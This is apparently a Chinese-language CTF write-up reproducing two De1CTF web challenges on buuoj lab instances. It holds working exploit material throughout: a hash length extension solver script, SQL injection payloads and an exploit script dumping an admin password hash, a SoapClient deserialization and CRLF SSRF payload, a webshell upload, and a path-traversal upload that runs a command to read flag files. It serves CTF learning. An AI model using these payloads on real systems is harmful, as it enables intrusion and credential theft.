De1CTF Web复现

SSRF ME

mark

打开题目代码没格式化,右键查看源代码可以看到格式化后的代码

mark

代码审计:

mark

1
2
3
4
5
6
unqote:urlencode的逆向

flask获取参数方式:
request.form.get("key", type=str, default=None) 获取表单数据
request.args.get("key") 获取get请求参数
request.values.get("key") 获取所有参数
  • /geneSign: 先获取param参数,然后结合action="scan"调用getSign函数生成签名
  • /De1ta: 先从cookie里获取action和sign,再获取param参数,结合ip构造一个Task类的对象,再以json返回exec方法的执行结果
  • /: 首页,获取源码

然后是getSign函数:

mark

用secert_key、param、action结合起来之后md5

再看waf函数:

mark

检查gopher和file开头,是个过滤函数

然后是Task类的Exec方法:

mark

先检查scan在不在action里,如果在的话就调用scan方法读取内容写到沙盒下的result.txt文件

还有就是看action里有没有read,有的话就读出里面的内容

所以要做的就是读取flag.txt到result.txt并且展示result.txt

在getSign函数里:

mark

算md5的时候param和action可控,而且action是在最后的,所以我们就可以用hash长度扩展攻击,在action后面拼接上我们想要的东西,并且预测出拼接的md5,这儿我们可以在scan后面拼上read。(关于hash长度扩展攻击可以看p大的这篇文章)

最后在scan函数里用的urlopen方法,有两种方法可以读取到本地文件:

分析完以后我们就要获取md5(secret_key + 'flag.txt' + 'readscan')的值,secret_key是一个长度为16的字符串,用/geneSign?param=flag.txt即可获取上面所说的md5值

1
2
3
4
5
6
7
jagger@jagger-ubuntu:~$ hashpump
Input Signature: 42b460a5002ee4476960824d2339b614
Input Data: scan
Input Key Length: 24
Input Data to Add: read
dd02a924fe14de35da853937f2e00963
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read

mark

当然也可以写个脚本直接跑出来flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashpumpy
import requests
import urllib.parse

url = 'flag.txt'
r = requests.get('http://9f698c1f-c6ca-4f8c-851e-86e0454b2f45.node1.buuoj.cn/geneSign', params={'param': url})
sign = r.text
hash_sign = hashpumpy.hashpump(sign, 'scan', 'read', 24)

r = requests.get('http://9f698c1f-c6ca-4f8c-851e-86e0454b2f45.node1.buuoj.cn/De1ta', params={'param': url}, cookies={
'sign': hash_sign[0],
'action': urllib.parse.quote(hash_sign[1])
})

print(r.text)

最后稍微总结一下几个有点绕的点:

  1. 在复现的时候发现脚本中的hash_sign = hashpumpy.hashpump(sign, 'scan', 'read', 24)的参数其实不是唯一的,也可以写成hash_sign = hashpumpy.hashpump(sign, url + 'scan', 'read', 16),其实换个角度想一下,也就是把sign+url=> 看成sign,所以最后一个参数sign的长度也变了。

  2. 关于local_file的问题,虽然知道local_file可以读文件,但是找不到flag.txt路径,这里提供两个方法:

    • 可以通过读取/root/.history猜到
    • 还可以这样:local-file:///proc/self/cwd/flag.txt,因为/proc/self/cwd/代表的是当前路径,cwd指向的总是bash进程
    • 还可以这样:local_file:flag.txt(这样写的话就是相对脚本的路径),而local_file://就必须使用绝对路径(协议就是这样规定的)

shellshellshell

这道题真的是知识点超多。。第一部分是套用了N1ctf的easy php

1. 注入

题目刚开始通过index.php~可以拿到index.php的,其他页面的源码也都可以通过同样的方拿到

各个文件都包含了config.php,所以先看一下config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function addsla_all()
{
if (!get_magic_quotes_gpc())
{
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
}
addsla_all(); //这里调用了全局过滤,基本所有的符号都被转义了,跟进addslashes_deep这个函数可以知道采用了addslashes函数

function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
}
}

全部过滤了也不是不能注入的,还是要从数据库操作语句中分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private function get_column($columns){

if(is_array($columns)) //判断$columns 变量是不是数组,如果是的话就进行下面的拼接
$column = ' `'.implode('`,`',$columns).'` '; //读这句代码,很容易看错,我们需要切割来看,这里利用了`,`作为连接符号 array('1',) (implode() 函数返回由数组元素组合成的字符串。)
//array('1','2') => 1`,`2 => `1`,`2`
// ' `' . implode('`,`',$columns) . '` '
else
$column = ' `'.$columns.'` ';

return $column;
}//这里感觉还是没问题的,我们继续分析下去


public function insert($columns,$table,$values){

$column = $this->get_column($columns);
$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')'; //这里我们在下面分析
$nid =
$sql = 'insert into '.$table.'('.$column.') values '.$value;
$result = $this->conn->query($sql);

return $result;
}

先说一下preg_replace的用法

1
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

$pattern: 要搜索的模式,可以是字符串或一个字符串数组。

$replacement: 用于替换的字符串或字符串数组。

$subject: 要搜索替换的目标字符串或字符串数组。

$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。

$count: 可选,为替换执行的次数。

1
2
3
4
preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values))
//[^`,] 这个正则表达式的意思是匹配除了`和,的其他字符,即处理value变量是数组的情况
//这个preg_replace的作用就是把`1`变成'1' (可以自己去regex101.com这个网站匹配正则一下)
//但假如是`1`or#`的话,先匹配了前面的`1`然后后面的or#`就逃逸出单引号了,导致了注入

mark

知道insert函数有问题以后我们就找一下看哪里调用了insert函数,在user.php中可以看到

mark

跟进check_username函数可以看到对$username做了过滤,无法注入

mark

$password也进行了md5处理,接着看一下get_ip函数返回的内容跟进到config.php找到get_ip函数,看到返回的是$_SERVER['REMOTE_ADDR']

mark

第一处调用insert无法注入,但底下还有一处

mark

在这里的$_POST['signature']$mood就没有做限制了,所以可以利用这个来注入。但利用这里注入的话需要先注册,所以先要处理一下验证码

生成验证码表(还有一个生成单次验证码的脚本: md5p.py

1
2
3
4
5
6
7
8
9
10
import hashlib
from itertools import product

c = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|'
captchas = [''.join(i) for i in product(c, repeat=3)]

print '[+] Genering {} captchas...'.format(len(captchas))
with open('captchas.txt', 'w') as f:
for k in captchas:
f.write(hashlib.md5(k).hexdigest()+' --> '+k+'\n')

接下里就是去/index.php?action=register先注册一个账号,验证码可以去验证码表里找,注册并登陆后就可以进到publish页面来注入。

到这里以后有好几种注入方法

0x00 官方exp

官方wp中的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import re
import string
import random
import time

import requests
import subprocess

_target = 'http://web69.buuoj.cn/index.php?action='

def get_creds():
username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
return username, password

def solve_code(html):
code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1)
solution = subprocess.check_output(['grep', '^'+code, 'captchas.txt']).split()[2]
return solution

def register(username, password):
resp = sess.get(_target+'register')
code = solve_code(resp.text)
sess.post(_target+'register', data={'username':username,'password':password,'code':code})
return True

def login(username, password):
resp = sess.get(_target+'login')
code = solve_code(resp.text)
sess.post(_target+'login', data={'username':username,'password':password,'code':code})
return True

def publish(sig, mood):
return sess.post(_target+'publish', data={'signature':sig,'mood':mood})

sess = requests.Session()
username, password = get_creds()
print '[+] register({}, {})'.format(username, password)
register(username, password)
print '[+] login({}, {})'.format(username, password)
login(username, password)
print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID']

for i in range(1,33): # we know password is 32 chars (md5)
mood = '(select concat(`O:4:\"Mood\":3:{{s:4:\"mood\";i:`,ord(substr(password,{},1)),`;s:2:\"ip\";s:14:\"80.212.199.161\";s:4:\"date\";i:1520664478;}}`) from ctf_users where is_admin=1 limit 1)'.format(i)
payload = 'a`, {}); -- -'.format(mood)
resp = publish(payload, '0')

print(resp.text)

resp = sess.get(_target+'index')
moods = re.findall(r'img/([0-9]+)\.gif', resp.text)[::-1] # last publish will be read first in the html
admin_hash = ''.join(map(lambda k: chr(int(k)), moods))

print '[+] admin hash => ' + admin_hash

mark

可以直接得到admin密码的哈希值,解码后为jaivypassword

0x01 伪造Mood类的mood属性注入

其实Mood参数是直接有输出点的,找到/views/index

mark

Mood类的mood参数被直接输出到页面中,注意有一个int类型转换,如果我们可以伪造Mood类的mood属性就好说了

1
2
3
4
$mode = new Mood((int)"1","114.114.114.114");
$mode->data = "0"; // 把data设置为0,可以直观的从页面的publish time中看到注入的数据是否被成功反序列化
echo serialize($mode);
//O:4:"Mood":4:{s:4:"mood";i:1;s:2:"ip";s:15:"114.114.114.114";s:4:"date";i:1520912184;s:4:"data";s:1:"0";}

因为在php中,最大的整型是8个字节,所以有32个字节的数据,分四次读出,每次8个字节,转化为10进制

所以最后注入的payload为

1
signature=username`,concat(`O:4:"Mood":3:{s:4:"mood";i:`,(select conv(hex((select mid((select password from ctf_users where is_admin=1 ),1,8))),16,10)),`;s:2:"ip";s:15:"114.114.114.114";s:4:"date";s:1:"0";}`))#&mood=0

mark

打过去后回到首页,可以看到首页多了个不能显示的图片

mark

查看图片的地址

mark

然后在mysql中执行:select unhex(conv("7149808766969460582",10,16));

mark

就可以求出前8位md5,然后依次类推求出后面的24位即可

0x02 二次注入

p0’s blog | 破的博客中看到的,比起按位盲注来更便捷,可以一次性将admin的密码哈希值爆出来,同样来复现下

在注册一个新用户后首先要确定注册用户的id,然后才能进行下面的二次注入。这里我注册的用户名是123

注用户id的payload:

1
2
signature=1`,1 and if(((select id from ctf_users where username=0x313233)=2),sleep(3),0))#&mood=0
//0x313233是123的16进制编码,这里通过盲注确定我用户为123的用户id是4

这种注入就是一次插入两行数据,这样我们控制第二行的所有数据,然后将admin的密码哈希值显示到自己账号的signature上

二次注入payload:

1
signature=1`,1),(2,`123`,(select concat(username,0x2c,password) from ctf_users where is_admin=1),`O:4:"Mood":3:{s:4:"mood";i:0;s:2:"ip";s:14:"220.181.171.99";s:4:"date";i:1520667855;}`)#&mood=0

mark

剩下的未完成。。payload打过去页面直接返回500

2. SoapClient反序列化+SSRF+CRLF

拿到密码后发现还是无法登陆

mark

所以再回去看源码,找到user.php

mark

这里对admin做了验证,因为allow_diff_ip=0,所以我们要想办法绕过这层限制,应该能想到这里要利用ssrf,ssrf的利用就有两条路:

  1. 修改admin的allow_diff_ip字段,让我们可以直接登录admin
  2. 用自己的session登录admin

同样在user.php中找到allow_diff_ip的代码

mark

可以看到代码被写死了,所以无法修改admin的allow_diff_ip

在看user.php的过程中看到了一个反序列化操作

mark

在这里我们可以通过注入控制序列化的内容,并且在/views/index.php调用了showmess函数

mark

所以我们可以注入以下内容到数据库中,然后会在我们访问/index.php?action=index的时候触发

1
a`, {serialize object});#

但是通过全局搜索并没有搜索到相关的魔术方法。。接下来就要用到触发反序列化的骚操作了

之前还发现有一个/views/phpinfo文件,是给我们看phpinfo的,所以输入/index.php?action=phpinfo看一下phpinfo

mark

发现Soap和SoapClient类是可用的

SOAP(simple object access protocol)

简单对象访问协议是交换数据的一种协议规范,是一种轻量的、简单的、基于XML标准通用标记语言下的一个子集)的协议,它被设计成在WEB上交换结构化的和固化的信息。

是连接或web服务或客户端和web服务之间的接口

采用HTTP作为底层通讯协议, XML作为数据传送的格式

SOAP信息通常是单向传输。

然后看一下php中SoapClient类的用法:SoapClient::SoapClient

mark

php5和php7都可用,SoapClient类第一个参数是$wsdl,确定是否是wdsl模式。这个参数如果是NULL,那么就是非wsdl模式,反序列化的时候就会对options中url进行远程soap请求;如果是wsdl模式,在序列化之前就会对$url参数进行请求,所以无法控制序列化数据

本来想写一个简单的soap请求验证一下,但buuoj没通外网,遂放弃,这里借用先知上一篇文章里的内容

一个简单的生成soap序列化后的请求的代码:

1
2
3
4
5
<?php
$a = new SoapClient(null, array('location' => "http://123.206.216.198:8887",
'uri' => "123"));
echo serialize($a);
?>
1
O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:27:"http://123.206.216.198:8887";s:13:"_soap_version";i:1;}

然后在vps上执行监听端口:nc -lvv 8887

当把这个序列化字符串传入unserialize然后执行一个SoapClient没有 的成员的时候

mark

可以看到成功获得了soap请求,然后uri是可控的,也就是上图中的123

具体的分析修改soap的post请求的原理可以看上面那篇先知的文章

soap请求的content/type是text/xml; charset=utf‐8,我们没办法直接覆盖掉原本的content/type,而我们知道,要能通过$_POST获取数据,content/type要是application/x‐www‐form‐urlencoded才行。然后我们从SOAP的参数说明中知道:soap中是支持User-Agent的,并且在header里 User-Agent 是在 Content-Type 前面的,所以我们可以通过控制User-Agent来控制整个POST报文。

我们知道http请求报文中使用\x0d\x0a,也就是回车换行符,分割http请求头跟body部分,所以我们通过\x0d\x0a来控制soap请求,使他变成我们想要的http报文格式,这种攻击手段也称为CRLF

这里踩了有一个坑很容易复现失败,我这里是用火狐直接打开靶机,注册、登录然后对publish页面用burp抓包;接着用chrome打开靶机,打开后只获取一个新PHPSESSID和CODE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=jaivypassword&code=0P!;
//code是验证码
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=0065aabh1dhc3dmnp684qb2gk4'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>

上面的代码用来生成admin登录的报文,PHPSESSID和CODE是对应的

mark

最终的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /index.php?action=publish HTTP/1.1
Host: f2b0c521-3742-44f3-ab04-9089c0f54f5d.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 736
Connection: close
Referer: http://f2b0c521-3742-44f3-ab04-9089c0f54f5d.node3.buuoj.cn/index.php?action=publish
Cookie: PHPSESSID=kn0uvin5p0loqbiqk3ed4artl7
Upgrade-Insecure-Requests: 1

signature=1`,0x4f3a31303a22536f6170436c69656e74223a343a7b733a333a22757269223b733a343a2261616162223b733a383a226c6f636174696f6e223b733a33393a22687474703a2f2f3132372e302e302e312f696e6465782e7068703f616374696f6e3d6c6f67696e223b733a31313a225f757365725f6167656e74223b733a3139383a22777570636f0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a582d466f727761726465642d466f723a203132372e302e302e310d0a436f6f6b69653a205048505345535349443d30303635616162683164686333646d6e70363834716232676b340d0a436f6e74656e742d4c656e6774683a2034360d0a0d0a757365726e616d653d61646d696e2670617373776f72643d6a6169767970617373776f726426636f64653d305021223b733a31333a225f736f61705f76657273696f6e223b693a313b7d)#&mood=0

mark

burpsuite发的包是火狐的,上图中的PHPSESSID也是登录好的那个账号的PHPSESSID

payload打过去之后,在火狐回到/index.php?action=index访问一下,接着回到chrome刷新页面就可以进admin了,并且能看到上传页面

mark

3. 内网扫描+审计

虽然上传那里提示请上传一个图片,其实没有任何限制,我这里上传了个小马,位置在/upload/trojans.php

然后用蚁剑连上,用ifconfig看到这台机器的ip是172.64.176.5(也可以cat /proc/net/fib_trie 查看路由树),蚁剑的插件市场中有端口扫描工具,可以扫一下试试看

mark

用wget把172.64.176.6的80端口的东西保存下来
mark

打开upload/6.html

mark

这关是2018年上海市大学生信息安全竞赛的原题

第一层是数组绕过,第二层随机文件名来用路径穿越绕过,在postman中构造请求

mark

点击code生成代码,选择php cURL

mark

然后上图画框中的第一部分要改一下,这里是在/etc下搜索带有flag名字的文件,然后把内容列出来

mark

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

$curl = curl_init();

curl_setopt_array($curl, array(
CURLOPT_URL => "http://172.64.176.6/",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\";filename=\"jagger.php\"\r\nContent-Type: false\r\n\r\n@<?php echo `find /etc -name *flag* -exec cat {} +`;\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\njagger.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n222\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[0]\"\r\n\r\n/../jagger.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nsubmit\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
CURLOPT_HTTPHEADER => array(
"cache-control: no-cache",
"content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW",
"postman-token: f6f7529b-9a83-2106-6d26-65aa210bd525"
),
));

$response = curl_exec($curl);
$err = curl_error($curl);

curl_close($curl);

if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}

将上面的代码保存成1.php,然后用蚁剑传到我们拿到admin权限的那台靶机上,访问一下,flag就出现了

mark